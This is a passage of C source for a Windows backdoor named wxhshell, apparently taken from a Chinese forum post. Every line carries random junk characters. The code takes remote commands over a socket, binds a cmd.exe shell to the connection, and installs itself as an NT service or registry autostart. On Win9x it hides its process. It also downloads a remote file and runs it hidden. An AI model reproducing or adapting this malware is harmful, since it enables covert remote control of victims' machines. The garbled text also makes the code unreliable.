  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mZ.E;X& ,*  
  else t`0(5v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ |>)H  
  } L/:u  
  else { leEzfbb{'.  
]K%D$x{+\  
    switch(cmd[0]) { :yAvo4 )  
  9'!I6;M  
  // 帮助 @3>nVa  
  case '?': { 7@i2Mz/eV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7h.:XlUm|  
    break; Zx,a j  
  } ?Tk4Vt  
  // 安装 )h(yh50 B  
  case 'i': { g$S<_$Iey  
    if(Install()) U=UnE"h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xu\22/Co  
    else EB>rY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?T:$:IHw  
    break; O[#B906JB  
    } <*&2b  
  // 卸载 cWL 7gv\|  
  case 'r': { {%z}CTf#  
    if(Uninstall()) hH@pA:`s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +yu^Z*_  
    else |y7#D9m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Y,d|!B#L  
    break; evHKq}{  
    } wB W]w  
  // 显示 wxhshell 所在路径 PRF^<%mkI  
  case 'p': { ~ TALpd  
    char svExeFile[MAX_PATH]; "G!V?~;  
    strcpy(svExeFile,"\n\r"); :#p!&Fi  
      strcat(svExeFile,ExeFile); tL@m5M%:N2  
        send(wsh,svExeFile,strlen(svExeFile),0); qxglA*/ [  
    break; H>5@/0cL2  
    } K\>CXa  
  // 重启 ic|>JX$G  
  case 'b': { } g[(h=Qi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NYZI;P1DA  
    if(Boot(REBOOT)) y-CVyl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9S[Tan|  
    else { ;/-#oW@gQ  
    closesocket(wsh); `F1 ( v  
    ExitThread(0); ;u: }rA)  
    } SwPc<Z?P  
    break; ^!>o5Y)  
    } a"0'cgB}  
  // 关机 z"lRfOWI  
  case 'd': { 1~P ^ g`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (1b%);L7  
    if(Boot(SHUTDOWN)) R?[KK<sWWe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c{t(),nAA  
    else { (T0%H<#+  
    closesocket(wsh); K|LS VN?K  
    ExitThread(0); FqK2[]8  
    } ZX!u\O|w  
    break; />9?/&N6"  
    } (Dx]!FFz  
  // 获取shell y|@=j~}Zq  
  case 's': { i&?do{YQ)  
    CmdShell(wsh); &4O0}ax*Zm  
    closesocket(wsh); qjp<_aw  
    ExitThread(0); :V#W y  
    break; x?|   
  } p#dpDjh  
  // 退出  ,M&[c|  
  case 'x': { %L$P']%t@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 29=L7  
    CloseIt(wsh); KI="O6 h  
    break; f i3<  
    } 3_tO  
  // 离开 Kr]`.@/.S  
  case 'q': { ]gQ4qu5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5:H9B  
    closesocket(wsh); *xOrt)D=  
    WSACleanup(); GlVD!0  
    exit(1); Q[k7taoy  
    break; ~IKPi==@,  
        } ,&IBj6%Y  
  } nP>*0Fq  
  } >K9uwUi|b]  
:#QYwb~  
  // 提示信息 h4^ a#%$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zk@K uBLL  
} ]l'W=_XDg  
  } }9xEA[@;  
J$?*qZ(oO  
  return; 8vcV-+x  
} {>c O&eiCt  
ivbuS-f =r  
// shell模块句柄 +)fl9>Mb  
int CmdShell(SOCKET sock) 0VB~4NNR  
{ p|M  8ww  
STARTUPINFO si; b!ZXQn3X<  
ZeroMemory(&si,sizeof(si)); ZAPT5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y3K9rf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MD ,}-m  
PROCESS_INFORMATION ProcessInfo; )[>b7K$f  
char cmdline[]="cmd"; 8 ]N+V:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B{SzC=4f}  
  return 0; G8lR_gD"!  
} ~Cj55S+  
?*z#G'3z1  
// 自身启动模式 :sBg+MS  
int StartFromService(void) g(Jzu'  
{ v 6?{g  
typedef struct !z;a>[T'  
{ sgo({zA`i  
  DWORD ExitStatus; 'Z+~G  
  DWORD PebBaseAddress; z2&SZ.mk  
  DWORD AffinityMask; +?~'K&@  
  DWORD BasePriority; u4=j!Zb8}  
  ULONG UniqueProcessId; |wZ8O}O{E  
  ULONG InheritedFromUniqueProcessId; F}A@H<?  
}   PROCESS_BASIC_INFORMATION; x aWmwsym  
P.RlozF5;  
PROCNTQSIP NtQueryInformationProcess; ":*PC[)W  
;jTP|q?|{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hp}J_/+4n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @U%I 6 t  
~n84x  
  HANDLE             hProcess; 0EYK3<k9!  
  PROCESS_BASIC_INFORMATION pbi; S ; x;FU  
dm&F1NkT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d9[*&[2J|  
  if(NULL == hInst ) return 0; n}qHt0N  
KD^>Vv#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]+W+8)f 1M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QH6Lb%]/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 85l 1  
n~l )7_G  
  if (!NtQueryInformationProcess) return 0; ]S[zD|U%  
m El*{]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IEdC _6G  
  if(!hProcess) return 0; |*7uF<ink6  
a8-2:8Su  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ky#d`   
>'/G:\M>A  
  CloseHandle(hProcess); o*\kg+8  
T"'"T]^ X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `/<KDd:_t  
if(hProcess==NULL) return 0;  c/I.`@  
oq=D9  
HMODULE hMod; ~<3qsA..  
char procName[255]; 4em7PmT  
unsigned long cbNeeded; bv>;%TF  
Ix%h /=I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LKG],1n-  
FK{ YRt  
  CloseHandle(hProcess); ~!'%m(g  
#H(|+WEu  
if(strstr(procName,"services")) return 1; // 以服务启动 )]!Ps` ,u  
rB}UFS)  
  return 0; // 注册表启动 [syuoJ  
} 0b=OK0n!%  
3Qe:d_  
// 主模块 >/EmC3?b!  
int StartWxhshell(LPSTR lpCmdLine) _h7+.U=  
{ dZRz'd  
  SOCKET wsl; f 5_n2  
BOOL val=TRUE; L._I"g5 H9  
  int port=0; Nm#VA.~  
  struct sockaddr_in door; $g _h9L  
A L}c-#GG  
  if(wscfg.ws_autoins) Install(); Xd66"k\b+  
e%j+,)Ry  
port=atoi(lpCmdLine); : KZI+  
7C ABM  
if(port<=0) port=wscfg.ws_port; )__vPPko i  
F$ x@ ]  
  WSADATA data; &Hc8u,|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GdR>S('  
9'Y~! vY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FqQm *k_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SZ~Ti|^  
  door.sin_family = AF_INET; LDW":k|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A7 .C  
  door.sin_port = htons(port); B @UaaWh  
'rRo2oTN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z['>`Kt  
closesocket(wsl); &7T0nB/)  
return 1; $.cNY+  k  
} t</rvAH E  
`Qv7aY  
  if(listen(wsl,2) == INVALID_SOCKET) { OqY8\>f-  
closesocket(wsl); gCgMmD=AZ  
return 1; IO`.]iG  
} >f19P+  
  Wxhshell(wsl); J:'cj5@  
  WSACleanup(); WO)rJr!C  
6t TLyI$+  
return 0; r`i<XGPJ%  
-Duy: C6W  
} +%6{>C+bZo  
S3:Pjz}t  
// 以NT服务方式启动 0(Z ER sP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <m`HK.|~  
{ I_'S|L  
DWORD   status = 0; }-)2CEj3L%  
  DWORD   specificError = 0xfffffff; De4UGX  
IQoz8!guh:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 85m[^WGyh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v@LK3S/!3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cuBOE2vB.  
  serviceStatus.dwWin32ExitCode     = 0; R"Hhc(H  
  serviceStatus.dwServiceSpecificExitCode = 0; : +/V  
  serviceStatus.dwCheckPoint       = 0; cG,B;kMjo  
  serviceStatus.dwWaitHint       = 0; kG &.|  
 {IYfq)c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ln'7kg  
  if (hServiceStatusHandle==0) return; &iR>:=ks N  
6/wAvPB$  
status = GetLastError(); O!lZ%j@%  
  if (status!=NO_ERROR) R?Ki~'k=  
{ B+iVK(j'[v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  1SP )`Q  
    serviceStatus.dwCheckPoint       = 0; +e`f|OQ  
    serviceStatus.dwWaitHint       = 0; 4VSlgoz  
    serviceStatus.dwWin32ExitCode     = status; Y;p _ff  
    serviceStatus.dwServiceSpecificExitCode = specificError; C&,&~^_F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #!OCEiT_  
    return; KFdV_e5lU  
  } nyi}~sB  
Av^{$9yl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  3p"VmO  
  serviceStatus.dwCheckPoint       = 0; A$WE:<^  
  serviceStatus.dwWaitHint       = 0; {^Vkxf]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BP,"vq$'+  
} nY'0*:'u  
1<fS&)^W  
// 处理NT服务事件,比如:启动、停止 y!6B Gz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ANc)igo  
{ kTAb <  
switch(fdwControl) d `>M-:dF  
{ UQaLhK v:  
case SERVICE_CONTROL_STOP: ~urIA/  
  serviceStatus.dwWin32ExitCode = 0; 2#kR1rJP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dd@^e)VZB  
  serviceStatus.dwCheckPoint   = 0; 93XTumpV  
  serviceStatus.dwWaitHint     = 0; &v Lz{  
  { ,icgne1j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '+?AaR&p?  
  } ?!U=S=8  
  return; }BKEz[G(  
case SERVICE_CONTROL_PAUSE: 2S&e!d-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m beM/  
  break; 4{(uw  
case SERVICE_CONTROL_CONTINUE: X,IjM&o"Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sHyhR:  
  break; ^rfY9qMJr8  
case SERVICE_CONTROL_INTERROGATE: [!]a' T#x  
  break; ;3U-ghj  
}; & 1p\.Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UZi^ &  
} gYA|JFi  
&8_]omuNV  
// 标准应用程序主函数 ]iRE^o6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *&q\)\(3w  
{ "fdgBso  
A07g@3n  
// 获取操作系统版本 --d<s  
OsIsNt=GetOsVer(); ;gY W!rM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =MEv{9_  
5DK>4H:  
  // 从命令行安装 {UX?z?0T  
  if(strpbrk(lpCmdLine,"iI")) Install(); gV$j ]  
`utv@9 _z  
  // 下载执行文件 }=z_3JfO  
if(wscfg.ws_downexe) { Y;8Ys&/t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _7'9omq@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8*!<,k="9  
} mTz %;+|L  
0; 2i"mzS\  
if(!OsIsNt) { :'91qA%Wr  
// 如果时win9x,隐藏进程并且设置为注册表启动 =@AWw:!:,  
HideProc(); V&;1n  
StartWxhshell(lpCmdLine); Y (x_bJ  
} XAW$"^p  
else >G$8\&]j  
  if(StartFromService()) Bw;sg;  
  // 以服务方式启动 -=iGl5P?  
  StartServiceCtrlDispatcher(DispatchTable); "~(qp_AI  
else n$ $^(-g@)  
  // 普通方式启动 lqn7$  
  StartWxhshell(lpCmdLine); B8UtD  
veAg?N<c p  
return 0; C8rD54A'M  
}
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只看该作者 1 发表于: 2006-10-10
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